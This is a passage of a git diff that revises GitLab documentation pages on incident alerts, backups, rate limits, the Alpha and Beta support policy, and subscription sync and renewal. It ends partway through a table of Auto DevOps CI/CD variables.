Feature flag related issues **(PREMIUM)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/36617) in GitLab 13.2. diff --git a/doc/operations/incident_management/alerts.md b/doc/operations/incident_management/alerts.md index 0dffa15351c..d42ee237749 100644 --- a/doc/operations/incident_management/alerts.md +++ b/doc/operations/incident_management/alerts.md @@ -37,11 +37,6 @@ The alert list displays the following information: - **Resolved**: No further work is required. - **Ignored**: No action will be taken on the alert. -NOTE: -Check out a live example available from the -[`tanuki-inc` project page](https://gitlab.com/gitlab-examples/ops/incident-setup/everyone/tanuki-inc) -in GitLab to examine alerts in action. - ## Alert severity Each level of alert contains a uniquely shaped and color-coded icon to help @@ -70,10 +65,6 @@ Alerts contain one of the following icons: Navigate to the Alert details view by visiting the [Alert list](alerts.md) and selecting an alert from the list. You need at least the Developer role to access alerts. - -NOTE: -To review live examples of GitLab alerts, visit the -[alert list](https://gitlab.com/gitlab-examples/ops/incident-setup/everyone/tanuki-inc/-/alert_management) for this demo project. Select any alert in the list to examine its alert details page. diff --git a/doc/operations/incident_management/img/incident_list_v15_6.png b/doc/operations/incident_management/img/incident_list_v15_6.png Binary files differindex fe2a91e2eba..2a13ed6d311 100644 --- a/doc/operations/incident_management/img/incident_list_v15_6.png +++ b/doc/operations/incident_management/img/incident_list_v15_6.png diff --git a/doc/operations/incident_management/linked_resources.md b/doc/operations/incident_management/linked_resources.md index eb289076424..96edd41c12f 100644 --- a/doc/operations/incident_management/linked_resources.md +++ b/doc/operations/incident_management/linked_resources.md @@ -48,7 +48,7 @@ To add a linked resource: 1. Complete the required fields. 1. Select **Add**. -### Using a quick action **(PREMIUM)** +### Using a quick action > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/374964) in GitLab 15.5. @@ -66,7 +66,7 @@ The description shows instead of the URL in the **Linked resources** section of /link https://example.link.us/j/123456789 multiple alerts firing ``` -### Link Zoom meetings from an incident **(PREMIUM)** +### Link Zoom meetings from an incident > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/230853) in GitLab 15.4. diff --git a/doc/operations/incident_management/slack.md b/doc/operations/incident_management/slack.md index 1ab1391ea2a..0e7a85142f6 100644 --- a/doc/operations/incident_management/slack.md +++ b/doc/operations/incident_management/slack.md @@ -34,7 +34,7 @@ Prerequisites: 1. Install the [GitLab for Slack app](../../user/project/integrations/gitlab_slack_application.md). This way, you can use slash commands in Slack to create and update GitLab incidents. 1. Enable [Slack notifications](../../user/project/integrations/slack.md). Be sure to enable - notifications for `Issue` events, and to define a Slack channel to receive the relevant notifications. + notifications for `Incident` events, and to define a Slack channel to receive the relevant notifications. 1. Authorize GitLab to take actions on behalf of your Slack user. Each user must do this before they can use any of the incident slash commands. @@ -113,5 +113,5 @@ Slack shows a prompt asking you to confirm which incident you'd like to close. ## Send GitLab incident notifications to Slack -If you have [enabled notifications](#manage-an-incident-from-slack) for issues, you should receive +If you have [enabled notifications](#manage-an-incident-from-slack) for incidents, you should receive notifications to the selected Slack channel every time an incident is opened, closed, or updated. diff --git a/doc/operations/metrics/alerts.md b/doc/operations/metrics/alerts.md index 4b6bc91cc73..44cd683bc4f 100644 --- a/doc/operations/metrics/alerts.md +++ b/doc/operations/metrics/alerts.md @@ -57,11 +57,14 @@ values extracted from the `alerts` field in the - Alert severity: Extracted from the alert payload field `labels/severity`. Maps case-insensitive value to [Alert's severity](../incident_management/alerts.md#alert-severity): - - **Critical**: `critical`, `s1`, `p1`, `emergency`, `fatal`, or any value not in this list - - **High**: `high`, `s2`, `p2`, `major`, `page` - - **Medium**: `medium`, `s3`, `p3`, `error`, `alert` - - **Low**: `low`, `s4`, `p4`, `warn`, `warning` - - **Info**: `info`, `s5`, `p5`, `debug`, `information`, `notice` + + | Alert payload | Mapped to alert severity | + | ------------- | --------------------------------------------------------------------------- | + | Critical | `critical`, `s1`, `p1`, `emergency`, `fatal`, or any value not in this list | + | High | `high`, `s2`, `p2`, `major`, `page` | + | Medium | `medium`, `s3`, `p3`, `error`, `alert` | + | Low | `low`, `s4`, `p4`, `warn`, `warning` | + | Info | `info`, `s5`, `p5`, `debug`, `information`, `notice` | To further customize the incident, you can add labels, mentions, or any other supported [quick action](../../user/project/quick_actions.md) in the selected issue template, diff --git a/doc/operations/metrics/embed_grafana.md b/doc/operations/metrics/embed_grafana.md index 43a7447a978..15969f0d6be 100644 --- a/doc/operations/metrics/embed_grafana.md +++ b/doc/operations/metrics/embed_grafana.md @@ -25,7 +25,7 @@ To use Grafana-rendered images: 1. Go to the dashboard containing the panel in Grafana. 1. From the panel's menu, select **Share**. -1. Select the **Direct link rendered image** button, which provides the link. +1. Select **Direct link rendered image**, which provides the link. 1. Copy the link and add an image tag as [inline HTML](../../user/markdown.md#inline-html) in your Markdown in the format `<img src="your_link"/>`. You can tweak the query parameters to meet your needs, such as removing the `&from=` and `&to=` parameters to display a live panel. diff --git a/doc/operations/metrics/index.md b/doc/operations/metrics/index.md index 3c2790a96b7..0ecb63807fb 100644 --- a/doc/operations/metrics/index.md +++ b/doc/operations/metrics/index.md @@ -123,7 +123,7 @@ Custom metrics can be monitored by adding them on the monitoring dashboard page. After saving them, they display on the environment metrics dashboard provided that either: - A [connected Kubernetes cluster](../../user/clusters/agent/index.md) - with the matching [environment scope](../../ci/environments/index.md#scope-environments-with-specs) is used and + with the matching [environment scope](../../ci/environments/index.md#limit-the-environment-scope-of-a-cicd-variable) is used and [Prometheus installed on the cluster](../../user/project/integrations/prometheus.md#enabling-prometheus-integration). - Prometheus is [manually configured](../../user/project/integrations/prometheus.md#manual-configuration-of-prometheus). diff --git a/doc/policy/alpha-beta-support.md b/doc/policy/alpha-beta-support.md index 8d9b1f270f3..5a7c1962d12 100644 --- a/doc/policy/alpha-beta-support.md +++ b/doc/policy/alpha-beta-support.md @@ -4,39 +4,60 @@ group: Distribution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -<!-- any changes made to this page should be reflected in https://about.gitlab.com/support/statement-of-support/#alpha-beta-features and https://about.gitlab.com/handbook/product/gitlab-the-product/#alpha-beta-ga --> +# Support for Alpha, Beta, Limited Availability, and Generally Available features **(PREMIUM)** -# Support for Alpha, Beta, Limited Availability, and Generally Available Features **(PREMIUM)** +Some GitLab features are released as Alpha or Beta versions and are +[not fully supported](https://about.gitlab.com/support/statement-of-support/#alpha-beta-features). +All other features are considered to be Generally Available (GA). -Some GitLab features are released as [Alpha or Beta versions](https://about.gitlab.com/support/statement-of-support/#alpha-beta-features) which are not fully supported. All other features are considered to be Generally Available (GA). +## Alpha features -## Alpha Features +Support is **not** provided for Alpha features and issues with them should be opened in the [GitLab issue tracker](https://gitlab.com/gitlab-org/gitlab/issues). -Characteristics of alpha features: +Characteristics of Alpha features: - Not ready for production use. - Unstable and can cause performance and stability issues. - Configuration and dependencies are likely to change. - Features and functions may be removed. - Data loss can occur (be that through bugs or updates). +- Documentation reflects the Alpha status. +- Behind flags that are off by default. +- Not announced in release posts. -Support is **not** provided for Alpha features and issues with them should be opened in the [GitLab issue tracker](https://gitlab.com/gitlab-org/gitlab/issues). +## Beta features + +Your Support Contract provides **commercially-reasonable effort** support for Beta features, with the expectation that issues require extra time and assistance from development to troubleshoot. -## Beta Features +### Closed Beta features -Characteristics of beta features: +Closed Beta features are available to selected users only. - Not ready for production use. - Unstable and can cause performance and stability issues. -- Configuration and dependencies are not likely to change. -- Features and functions are not likely to change. -- Data loss is not likely. +- Configuration and dependencies unlikely to change. +- Features and functions unlikely to change. +- Data loss less likely. +- Behind a feature flag that is off by default and the UI reflects Beta status. +- Documentation reflects Beta status. +- Can be announced in a release post that reflects Beta status. -Your Support Contract provides **commercially-reasonable effort** support for Beta features, with the expectation that issues require extra time and assistance from development to troubleshoot. +### Open Beta features + +- Not ready for production use. +- Unstable and can cause performance and stability issues. +- Configuration and dependencies unlikely to change. +- Features and functions unlikely to change. +- Data loss not likely. +- Support on a commercially-reasonable effort basis. +- Documentation reflects Beta status. +- Behind a feature flag that is on by default and the UI reflects Beta status. +- Behind a toggle that is off by default and the UI reflects Beta status. +- Can be announced in a release post that reflects Beta status. ## Limited Availability (LA) -Characteristics of limited availability features: +Characteristics of Limited Availability features: - Ready for production use by a small set of customers. - Can be booked by Deal Desk as part of an order. diff --git a/doc/raketasks/backup_gitlab.md b/doc/raketasks/backup_gitlab.md index aea61e36037..771120df1c3 100644 --- a/doc/raketasks/backup_gitlab.md +++ b/doc/raketasks/backup_gitlab.md @@ -332,8 +332,16 @@ FLAG: On self-managed GitLab, by default this feature is available. To hide the feature, ask an administrator to [disable the feature flag](../administration/feature_flags.md) named `incremental_repository_backup`. On GitLab.com, this feature is not available. -Incremental backups can be faster than full backups because they only pack changes since the last backup into the backup -bundle for each repository. There must be an existing backup to create an incremental backup from: +NOTE: +Only repositories support incremental backups. Therefore, if you use `INCREMENTAL=yes`, the task +creates a self-contained backup tar archive. This is because all subtasks except repositories are +still creating full backups (they overwrite the existing full backup). +See [issue 19256](https://gitlab.com/gitlab-org/gitlab/-/issues/19256) for a feature request to +support incremental backups for all subtasks. + +Incremental repository backups can be faster than full repository backups because they only pack changes since the last backup into the backup bundle for each repository. +The incremental backup archives are not linked to each other: each archive is a self-contained backup of the instance. There must be an existing backup +to create an incremental backup from: - In GitLab 14.9 and 14.10, use the `BACKUP=<timestamp_of_backup>` option to choose the backup to use. The chosen previous backup is overwritten. - In GitLab 15.0 and later, use the `PREVIOUS_BACKUP=<timestamp_of_backup>` option to choose the backup to use. By default, a backup file is created @@ -892,7 +900,7 @@ When troubleshooting backup problems, however, replace `CRON=1` with `--trace` t ## Limit backup lifetime for local files (prune old backups) WARNING: -The process described in this section don't work if you used a [custom filename](#backup-filename) +The process described in this section doesn't work if you used a [custom filename](#backup-filename) for your backups. To prevent regular backups from using all your disk space, you may want to set a limited lifetime diff --git a/doc/raketasks/import.md b/doc/raketasks/import.md index 6e7ba45167c..05c51fa06d8 100644 --- a/doc/raketasks/import.md +++ b/doc/raketasks/import.md @@ -4,12 +4,24 @@ group: Distribution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- -# Import bare repositories **(FREE SELF)** +# Import bare repositories (deprecated) **(FREE SELF)** + +WARNING: +The Rake task for importing bare repositories was [deprecated](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/108507) +in GitLab 15.8 and will be removed in GitLab 16.0. + +Alternatives to using the `gitlab:import:repos` Rake task include: + +- Migrating projects using either [an export file](../user/project/settings/import_export.md) or [direct transfer](../user/group/import/index.md#migrate-groups-by-direct-transfer-recommended) migrate repositories as well. +- Importing a [repository by URL](../user/project/import/repo_by_url.md). +- Importing a [repositories from a non-GitLab source](../user/project/import/index.md). Rake tasks are available to import bare repositories into a GitLab instance. -When migrating from an existing GitLab instance, -and to preserve ownership by users and their namespaces, -use [our project-based import/export](../user/project/settings/import_export.md). +When migrating from an existing GitLab instance, and to preserve ownership by users and their namespaces, +migrate projects using either: + +- [Direct transfer](../user/group/import/index.md#migrate-groups-by-direct-transfer-recommended). +- [An export file](../user/project/settings/import_export.md). Note that: diff --git a/doc/raketasks/restore_gitlab.md b/doc/raketasks/restore_gitlab.md index 61198a3d9ca..c97a71b1b5d 100644 --- a/doc/raketasks/restore_gitlab.md +++ b/doc/raketasks/restore_gitlab.md @@ -20,6 +20,8 @@ If your backup is a different version than the current installation, you must [downgrade](../update/package/downgrade.md) or [upgrade](../update/package/index.md#upgrade-to-a-specific-version-using-the-official-repositories) your GitLab installation before restoring the backup. +Each backup archive contains a full self-contained backup, including those created through the [incremental repository backup procedure](backup_gitlab.md#incremental-repository-backups). To restore an incremental repository backup, use the same instructions as restoring any other regular backup archive. + ## Restore prerequisites You need to have a working GitLab installation before you can perform a diff --git a/doc/security/rate_limits.md b/doc/security/rate_limits.md index 929609cd4a4..26a17ef2c2c 100644 --- a/doc/security/rate_limits.md +++ b/doc/security/rate_limits.md @@ -74,13 +74,7 @@ For configuration information, see ### Git operations using SSH -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/78373) in GitLab 14.7 [with a flag](../administration/feature_flags.md) named `rate_limit_gitlab_shell`. Disabled by default. -> - [Enabled on GitLab.com and self-managed](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/79419) in GitLab 14.8. - -FLAG: -On self-managed GitLab, by default this feature is available. To disable the feature, ask an administrator to -[disable the feature flag](../administration/feature_flags.md) named `rate_limit_gitlab_shell`. On GitLab.com, this feature -is available. +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/78373) in GitLab 14.7 [with a flag](../administration/feature_flags.md) named `rate_limit_gitlab_shell`. Available by default without a feature flag from 15.8. GitLab applies rate limits to Git operations that use SSH by user account and project. When the rate limit is exceeded, GitLab rejects further connection requests from that user for the project. @@ -130,7 +124,7 @@ The **rate limit** is 20 calls per minute per IP address. There is a rate limit on how frequently a username can be changed. This is enforced to mitigate misuse of the feature. For example, to mass discover which usernames are in use. -The **rate limit** is 10 calls per minute per signed-in user. +The **rate limit** is 10 calls per minute per authenticated user. ### Username exists @@ -152,7 +146,7 @@ The feature is not ready for production use. There is a rate limit for the endpoint `project/:id/jobs`, which is enforced to reduce timeouts when retrieving jobs. -The **rate limit** is 600 calls per minute per signed-in user. +The **rate limit** is 600 calls per minute per authenticated user. ## Troubleshooting diff --git a/doc/security/token_overview.md b/doc/security/token_overview.md index 0c9734cad36..64336f96274 100644 --- a/doc/security/token_overview.md +++ b/doc/security/token_overview.md @@ -134,6 +134,6 @@ This table shows available scopes per token. Scopes can be limited further on to - When creating a token, consider setting a token that expires when your task is complete. For example, if performing a one-off import, set the token to expire after a few hours or a day. This reduces the impact of a token that is accidentally leaked because it is useless when it expires. - Be careful not to include tokens when pasting code, console commands, or log outputs into an issue or MR description or comment. -- Don’t log credentials in the console logs. Consider [protecting](../ci/variables/index.md#protected-cicd-variables) and +- Don’t log credentials in the console logs. Consider [protecting](../ci/variables/index.md#protect-a-cicd-variable) and [masking](../ci/variables/index.md#mask-a-cicd-variable) your credentials. - Review all currently active access tokens of all types on a regular basis and revoke any that are no longer needed. diff --git a/doc/subscriptions/bronze_starter.md b/doc/subscriptions/bronze_starter.md index ec932f2384b..91da875a049 100644 --- a/doc/subscriptions/bronze_starter.md +++ b/doc/subscriptions/bronze_starter.md @@ -63,7 +63,7 @@ the tiers are no longer mentioned in GitLab documentation: - [`audit_json.log`](../administration/logs/index.md#audit_jsonlog) (specific entries) - [`elasticsearch.log`](../administration/logs/index.md#elasticsearchlog) - Merge requests: - - [Full code quality reports in the code quality tab](../ci/testing/code_quality.md#code-quality-reports) + - [Full code quality reports in the code quality tab](../ci/testing/code_quality.md#pipeline-details-view) - [Merge request approvals](../user/project/merge_requests/approvals/index.md) - [Multiple assignees](../user/project/merge_requests/index.md#assign-multiple-users) - [Approval Rule information for Reviewers](../user/project/merge_requests/reviews/index.md#approval-rule-information-for-reviewers) @@ -104,8 +104,8 @@ the tiers are no longer mentioned in GitLab documentation: - [External groups](../integration/saml.md#external-groups) - [Required groups](../integration/saml.md#required-groups) - Search: - - [Filtering merge requests by approvers](../user/project/merge_requests/index.md#filter-merge-requests-by-approvers) - - [Filtering merge requests by "approved by"](../user/project/merge_requests/index.md#filter-merge-requests-by-approved-by) + - [Filtering merge requests](../user/project/merge_requests/index.md#filter-the-list-of-merge-requests) by approvers + - [Filtering merge requests](../user/project/merge_requests/index.md#filter-the-list-of-merge-requests) by "approved by" - [Advanced Search (Elasticsearch)](../user/search/advanced_search.md) - [Service Desk](../user/project/service_desk.md) - [Storage usage statistics](../user/usage_quotas.md#storage-usage-statistics) diff --git a/doc/subscriptions/gitlab_com/index.md b/doc/subscriptions/gitlab_com/index.md index 552e9c46c4a..8fce04ec109 100644 --- a/doc/subscriptions/gitlab_com/index.md +++ b/doc/subscriptions/gitlab_com/index.md @@ -231,28 +231,15 @@ amounts at which the alert displays. | 100-999 | 8% of seats have been used. | | 1000+ | 5% of seats have been used | -## Change the linked account - -To change the GitLab.com account linked to your Customers Portal account: - -1. Log in to the - [Customers Portal](https://customers.gitlab.com/customers/sign_in). -1. In a separate browser tab, go to [GitLab SaaS](https://gitlab.com/users/sign_in) and ensure you - are not logged in. -1. On the Customers Portal page, select **My account > Account details**. -1. Under **Your GitLab.com account**, select **Change linked account**. -1. Log in to the [GitLab SaaS](https://gitlab.com/users/sign_in) account you want to link to the Customers Portal - account. - ## Change the linked namespace To change the namespace linked to a subscription: 1. Log in to the [Customers Portal](https://customers.gitlab.com/customers/sign_in) with a - [linked](#change-the-linked-account) GitLab SaaS account. -1. Navigate to the **Manage Purchases** page. + [linked](../index.md#change-the-linked-account) GitLab.com account. +1. Go to the **Manage Purchases** page. 1. Select **Change linked namespace**. -1. Select the desired group from the **This subscription is for** dropdown. For a group to appear here, you must have the Owner role for that group. +1. Select the desired group from the **This subscription is for** dropdown list. For a group to appear here, you must have the Owner role for that group. 1. Select **Proceed to checkout**. <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> @@ -324,8 +311,7 @@ For details on upgrading your subscription tier, see ### Automatic subscription renewal When a subscription is set to auto-renew, it renews automatically on the -expiration date without a gap in available service. Subscriptions purchased through Customers Portal or GitLab.com are set to auto-renew by default. The number of seats is adjusted to fit the [number of billable users in your group](#view-seat-usage) at the time of renewal. You can view and download your renewal invoice on the -[View invoices](https://customers.gitlab.com/receipts) page. If your account has a [saved credit card](../index.md#change-your-payment-method), the card is charged for the invoice amount. If we are unable to process a payment or the auto-renewal fails for any other reason, you have 14 days to renew your subscription. After that, your access is downgraded. +expiration date without a gap in available service. Subscriptions purchased through Customers Portal or GitLab.com are set to auto-renew by default. The number of seats is adjusted to fit the [number of billable users in your group](#view-seat-usage) at the time of renewal. You can view and download your renewal invoice on the Customers Portal [View invoices](https://customers.gitlab.com/receipts) page. If your account has a [saved credit card](../index.md#change-your-payment-method), the card is charged for the invoice amount. If we are unable to process a payment or the auto-renewal fails for any other reason, you have 14 days to renew your subscription, after which your access is downgraded. #### Email notifications diff --git a/doc/subscriptions/index.md b/doc/subscriptions/index.md index 98ce40c9e9b..9fec4abe8e7 100644 --- a/doc/subscriptions/index.md +++ b/doc/subscriptions/index.md @@ -73,7 +73,7 @@ With the [Customers Portal](https://customers.gitlab.com/) you can: - [Change account owner information](#change-account-owner-information) - [Change your company details](#change-your-company-details) - [Change your payment method](#change-your-payment-method) -- [Change the linked account](gitlab_com/index.md#change-the-linked-account) +- [Change the linked account](#change-the-linked-account) - [Change the namespace the subscription is linked to](gitlab_com/index.md#change-the-linked-namespace) - [Change customers portal account password](#change-customers-portal-account-password) @@ -83,8 +83,9 @@ reseller, you must contact them directly for assistance with your subscription. ### Change account owner information -Account owner personal details are used on invoices. The account owner email -address is used for the Customers Portal login and license-related email. +Account owner personal details are used on invoices. The account owner email address is used for the Customers Portal legacy login and license-related email. + +If you have registered a Customers Portal account through a GitLab.com account, the GitLab.com account is used for login. To change account owner information, including name, billing address, and email address: @@ -95,8 +96,10 @@ To change account owner information, including name, billing address, and email 1. Select **Save changes**. If you want to transfer ownership of the Customers Portal account -to another person, after you enter that person's personal details, you must also -[change the Customers Portal account password](#change-customers-portal-account-password). +to another person, after you enter that person's personal details, you must also: + +- [Change the Customers Portal account password](#change-customers-portal-account-password). +- [Change the linked GitLab.com account](#change-the-linked-account), if you have one linked. ### Change your company details @@ -134,6 +137,19 @@ method as the default: 1. **Edit** the selected payment method and check the **Make default payment method** checkbox. 1. Select **Save Changes**. +### Change the linked account + +To change the GitLab.com account linked to your Customers Portal account: + +1. Log in to the + [Customers Portal](https://customers.gitlab.com/customers/sign_in). +1. In a separate browser tab, go to [GitLab.com](https://gitlab.com/users/sign_in) and ensure you + are not logged in. +1. On the Customers Portal page, select **My account > Account details**. +1. Under **Your GitLab.com account**, select **Change linked account**. +1. Log in to the [GitLab.com](https://gitlab.com/users/sign_in) account you want to link to the Customers Portal + account. + ### Change Customers Portal account password To change the password for this customers portal account: diff --git a/doc/subscriptions/self_managed/index.md b/doc/subscriptions/self_managed/index.md index 93cf5afad63..e5114b092da 100644 --- a/doc/subscriptions/self_managed/index.md +++ b/doc/subscriptions/self_managed/index.md @@ -18,6 +18,10 @@ GitLab subscription management requires access to the Customers Portal. GitLab provides the [Customers Portal](../index.md#customers-portal) where you can manage your subscriptions and your account details. +Customers are required to use their GitLab.com account to register for a new Customers Portal account. + +If you have a legacy Customers Portal account that is not linked to a GitLab.com account, you may still [sign in](https://customers.gitlab.com/customers/sign_in?legacy=true) using an email and password. However, you should [create](https://gitlab.com/users/sign_up) and [link a GitLab.com account](../index.md#change-the-linked-account) to ensure continued access to the Customers Portal. + Customers of resellers do not have access to this portal and should contact their reseller for any changes to their subscription. @@ -42,7 +46,7 @@ according to the [maximum number](#maximum-users) of users enabled during the su For instances that aren't offline or on a closed network, the maximum number of simultaneous users in the GitLab self-managed installation is checked each quarter. -If an instance is unable to generate a quarterly usage report, the existing [true-up model](#users-over-license) is used. +If an instance is unable to generate a quarterly usage report, the existing [true up model](#users-over-license) is used. Prorated charges are not possible without a quarterly usage report. ### View user totals @@ -132,34 +136,32 @@ GitLab has several features which can help you manage the number of users: users manually. - View a breakdown of users by role in the [Users statistics](../../user/admin_area/index.md#users-statistics) page. -## Sync your subscription data with GitLab +## Subscription data synchronization > Introduced in GitLab 14.1. -Prerequisites: - -- You must be running GitLab Enterprise Edition (EE). -- You must have GitLab 14.1 or later. -- Your instance must be connected to the internet, and not be in an offline environment. +Subscription data can be automatically synchronized between your self-managed instance and GitLab. +To enable subscription data synchronization you must have: -To sync subscription data between your self-managed instance and GitLab, you must [activate your instance](../../user/admin_area/license.md) with an -activation code. +- GitLab Enterprise Edition (EE), version 14.1 or later. +- Connection to the internet, and must not have an offline environment. +- [Activated](../../user/admin_area/license.md) your instance with an activation code. -After you activate your instance, the following processes are automated: +When your instance is activated, and data is synchronized, the following processes are automated: - [Quarterly subscription reconciliation](../quarterly_reconciliation.md). - Subscription renewals. - Subscription updates, such as adding more seats or upgrading a GitLab tier. -At approximately 03:00 UTC, a daily sync job sends subscription data to the Customers Portal. For this reason, updates and renewals may not -apply immediately. +At approximately 03:00 UTC, a daily synchronization job sends subscription data to the Customers +Portal. For this reason, updates and renewals may not apply immediately. -The data is sent securely through an encrypted HTTPS connection to `customers.gitlab.com` on port `443`. -If the job fails, it retries up to 12 times over approximately 17 hours. +The data is sent securely through an encrypted HTTPS connection to `customers.gitlab.com` on port +`443`. If the job fails, it retries up to 12 times over approximately 17 hours. -### Subscription data that GitLab receives +### Subscription data -The daily sync job sends **only** the following information to the Customers Portal: +The daily synchronization job sends **only** the following information to the Customers Portal: - Date - Timestamp @@ -224,14 +226,9 @@ Example of a license sync request: } ``` -### Troubleshoot automatic subscription sync - -If the sync job is not working, ensure you allow network traffic from your GitLab instance -to IP addresses `172.64.146.11:443` and `104.18.41.245:443` (`customers.gitlab.com`). - -## Manually sync your subscription details +### Manually synchronize your subscription details -You can manually sync your subscription details at any time. +You can manually synchronize your subscription details at any time. 1. On the top bar, select **Main menu > Admin**. 1. On the left sidebar, select **Subscription**. @@ -305,11 +302,10 @@ NOTES: ## Renew your subscription -You can renew your subscription starting from 15 days before your subscription expires. +You can renew your subscription starting from 15 days before your subscription expires. To renew your subscription: -To renew your subscription, -[prepare for renewal by reviewing your account](#prepare-for-renewal-by-reviewing-your-account), -then [renew your GitLab self-managed subscription](#renew-a-subscription). +1. [Prepare for renewal by reviewing your account.](#prepare-for-renewal-by-reviewing-your-account) +1. [Renew your GitLab self-managed subscription.](#renew-subscription-manually) ### Prepare for renewal by reviewing your account @@ -375,12 +371,11 @@ your instance immediately. If you're using a license file, you receive an update To add the seats, [add the license file](../../user/admin_area/license_file.md) to your instance. -### Renew a subscription +### Renew subscription manually Starting 30 days before a subscription expires, a banner with the expiry date displays for administrators in the GitLab user interface. -You can renew your subscription starting from 15 days before your subscription expires. -We recommend following these steps during renewal: +You should follow these steps during renewal: 1. Prior to the renewal date, prune any inactive or unwanted users by [blocking them](../../user/admin_area/moderate_users.md#block-a-user). 1. Determine if you have a need for user growth in the upcoming subscription. @@ -399,6 +394,38 @@ You can hover your mouse on the **Renew** button to see the date when it will be An invoice is generated for the renewal and available for viewing or download on the [View invoices](https://customers.gitlab.com/receipts) page. If you have difficulty during the renewal process, contact our [support team](https://support.gitlab.com/hc/en-us/requests/new?ticket_form_id=360000071293) for assistance. +### Automatic subscription renewal + +When a subscription is set to auto-renew, it renews automatically on the +expiration date without a gap in available service. Subscriptions purchased through Customers Portal are set to auto-renew by default. +The number of user licenses is adjusted to fit the [number of billable users in your instance](#view-user-totals) at the time of renewal. +Before auto-renewal you should [prepare for the renewal](#prepare-for-renewal-by-reviewing-your-account). To auto-renew your subscription, +you must have enabled the [synchronization of subscription data](#subscription-data-synchronization). + +You can view and download your renewal invoice on the Customers Portal +[View invoices](https://customers.gitlab.com/receipts) page. If your account has a [saved credit card](../index.md#change-your-payment-method), the card is charged for the invoice amount. If we are unable to process a payment or the auto-renewal fails for any other reason, you have 14 days to renew your subscription, after which your GitLab tier is downgraded. + +#### Email notifications + +15 days before a subscription automatically renews, an email is sent with information about the renewal. + +- If your credit card is expired, the email tells you how to update it. +- If you have any outstanding overages or subscription isn't able to auto-renew for any other reason, the email tells you to contact our Sales team or [renew in Customers Portal](#renew-subscription-manually). +- If there are no issues, the email specifies the names and quantity of the products being renewed. The email also includes the total amount you owe. If your usage increases or decreases before renewal, this amount can change. + +#### Enable or disable automatic subscription renewal + +To view or change automatic subscription renewal (at the same tier as the +previous period), sign in to the [Customers Portal](https://customers.gitlab.com/customers/sign_in), and: + +- If a **Resume subscription** button is displayed, your subscription was canceled + previously. Select it to resume automatic renewal. +- If a **Cancel subscription** button is displayed, your subscription is set to automatically + renew at the end of the subscription period. Select it to cancel automatic renewal. + +If you have difficulty during the renewal process, contact the +[Support team](https://support.gitlab.com/hc/en-us/requests/new?ticket_form_id=360000071293) for assistance. + ## Upgrade your subscription tier To upgrade your [GitLab tier](https://about.gitlab.com/pricing/): @@ -463,6 +490,11 @@ and for communicating directly with the relevant GitLab team members. ## Troubleshooting +### Subscription data fails to synchronize + +If the synchronization job is not working, ensure you allow network traffic from your GitLab +instance to IP addresses `172.64.146.11:443` and `104.18.41.245:443` (`customers.gitlab.com`). + ### Credit card declined If your credit card is declined when purchasing a GitLab subscription, possible reasons include: diff --git a/doc/topics/authentication/index.md b/doc/topics/authentication/index.md index 763e16bc31d..77a83b10df9 100644 --- a/doc/topics/authentication/index.md +++ b/doc/topics/authentication/index.md @@ -17,7 +17,7 @@ This page gathers all the resources for the topic **Authentication** within GitL - [Support for Universal 2nd Factor Authentication - YubiKeys](https://about.gitlab.com/blog/2016/06/22/gitlab-adds-support-for-u2f/) - [Security Webcast with Yubico](https://about.gitlab.com/blog/2016/08/31/gitlab-and-yubico-security-webcast/) - **Integrations:** - - [GitLab as OAuth2 authentication service provider](../../integration/oauth_provider.md#introduction-to-oauth) + - [GitLab as OAuth2 authentication service provider](../../integration/oauth_provider.md) - [GitLab as OpenID Connect identity provider](../../integration/openid_connect_provider.md) ## GitLab administrators diff --git a/doc/topics/autodevops/cicd_variables.md b/doc/topics/autodevops/cicd_variables.md index db2b052784d..169d34aad77 100644 --- a/doc/topics/autodevops/cicd_variables.md +++ b/doc/topics/autodevops/cicd_variables.md @@ -22,7 +22,7 @@ Use these variables to customize and deploy your build. | `AUTO_DEVOPS_ATOMIC_RELEASE` | As of GitLab 13.0, Auto DevOps uses [`--atomic`](https://v2.helm.sh/docs/helm/#options-43) for Helm deployments by default. Set this variable to `false` to disable the use of `--atomic` | | `AUTO_DEVOPS_BUILD_IMAGE_CNB_ENABLED` | Set to `false` to use Herokuish instead of Cloud Native Buildpacks with Auto Build. [More details](stages.md#auto-build-using-cloud-native-buildpacks). | | `AUTO_DEVOPS_BUILD_IMAGE_CNB_BUILDER` | The builder used when building with Cloud Native Buildpacks. The default builder is `heroku/buildpacks:18`. [More details](stages.md#auto-build-using-cloud-native-buildpacks). | -| `AUTO_DEVOPS_BUILD_IMAGE_EXTRA_ARGS` | Extra arguments to be passed to the `docker build` command. Using quotes doesn't prevent word splitting. [More details](customize.md#passing-arguments-to-docker-build). | +| `AUTO_DEVOPS_BUILD_IMAGE_EXTRA_ARGS` | Extra arguments to be passed to the `docker build` command. Using quotes doesn't prevent word splitting. [More details](customize.md#pass-arguments-to-docker-build). | | `AUTO_DEVOPS_BUILD_IMAGE_FORWARDED_CI_VARIABLES` | A [comma-separated list of CI/CD variable names](customize.md#forward-cicd-variables-to-the-build-environment) to be forwarded to the build environment (the buildpack builder or `docker build`). | | `AUTO_DEVOPS_BUILD_IMAGE_CNB_PORT` | In GitLab 15.0 and later, port exposed by the generated Docker image. Set to `false` to prevent exposing any ports. Defaults to `5000`. | | `AUTO_DEVOPS_CHART` | Helm Chart used to deploy your apps. Defaults to the one [provided by GitLab](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/tree/master/assets/auto-deploy-app). | @@ -42,9 +42,9 @@ Use these variables to customize and deploy your build. | `CI_APPLICATION_REPOSITORY` | The repository of container image being built or deployed, `$CI_APPLICATION_REPOSITORY:$CI_APPLICATION_TAG`. For more details, read [Custom container image](customize.md#custom-container-image). | | `CI_APPLICATION_TAG` | The tag of the container image being built or deployed, `$CI_APPLICATION_REPOSITORY:$CI_APPLICATION_TAG`. For more details, read [Custom container image](customize.md#custom-container-image). | | `DAST_AUTO_DEPLOY_IMAGE_VERSION` | Customize the image version used for DAST deployments on the default branch. Should usually be the same as 